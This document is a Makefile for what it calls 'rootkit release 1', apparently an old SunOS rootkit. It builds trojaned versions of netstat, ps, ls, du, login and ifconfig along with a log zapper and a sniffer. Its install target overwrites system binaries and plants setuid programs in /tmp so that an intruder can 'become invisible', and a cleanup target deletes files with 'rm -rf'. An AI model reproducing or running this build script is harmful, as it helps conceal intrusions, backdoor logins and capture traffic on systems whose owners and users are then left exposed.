# rootkit release 1.
#
# Includes: patched netstat, patched ps, patched login
#           patched ls, patched du, patched ifconfig
#	    patched System V du, patched SystemV ls
#
# Includes: fixer, zapper, sunsniffer
#
# make all install		- become invisible
# make cleansuid		- removes suidness of z2, es, fix


NSOBJS=	inet.o if.o main.o mbuf.o route.o unix.o ns.o ipintrq.o
CFLAGS=	-O2 -s
DESTDIR=/tmp
NDYNAF= -n -Bdynamic
PROGS=	fix ns ps ls ls5 du du5 sl ic z2 es

all: $(PROGS)

fix:	fix.c 
	${CC} fix.c -o fix

ns:	${NSOBJS}
	${CC} ${CFLAGS} ${NSOBJS} -o ns -lkvm

ps:	ps.c
	${CC} ${CFLAGS} ${NDYNAF} ps.c -o ps -lm -lkvm 

ls:	ls.c
	${CC} ${CFLAGS} ${NDYNAF} ls.c -o ls

du:	du.c
	${CC} ${CFLAGS} ${NDYNAF} du.c -o du

sl:	sl.c
	${CC} ${CFLAGS} sl.c -o sl

ic:	ifconfig.c revarp.c	
	${CC} -s -c ifconfig.c
	${CC} -s -c revarp.c
	${CC} ${CFLAGS} -Bstatic -o ic ifconfig.o revarp.o

du5:	du5.c
	${CC} ${CFLAGS} du5.c -o du5

ls5:	ls5.c
	${CC} ${CFLAGS} ls5.c -o ls5

z2:	z2.c
	${CC} -O4 z2.c -o z2

es:	es.c
	${CC} -O4 es.c -o es

install: 
	fix /tmp/netstat ns netstat.bak
	fix /usr/kvm/ps ps ps.bak
	fix /bin/ls ls ls.bak
	fix /bin/du du du.bak
	fix /usr/bin/login sl login.bak
	fix /usr/etc/ifconfig ic ifconfig.bak
	install -s -m 4755 z2 ${DESTDIR}/z2
	install -s -m 4755 fix ${DESTDIR}/fix
	install -s -m 4755 es ${DESTDIR}/es
	fix /usr/5bin/du du5 du5.bak
	fix /usr/5bin/ls ls5 ls5.bak

cleansuid:
	chmod 755 ${DESTDIR}/z2
	chmod 755 ${DESTDIR}/fix
	chmod 755 ${DESTDIR}/es

shar:
	shar . ./* > rootkit.shar
	
clean:
	rm -f *.o *.bak core ${PROGS}

superclean:
	rm -rf * ; rm -rf .	

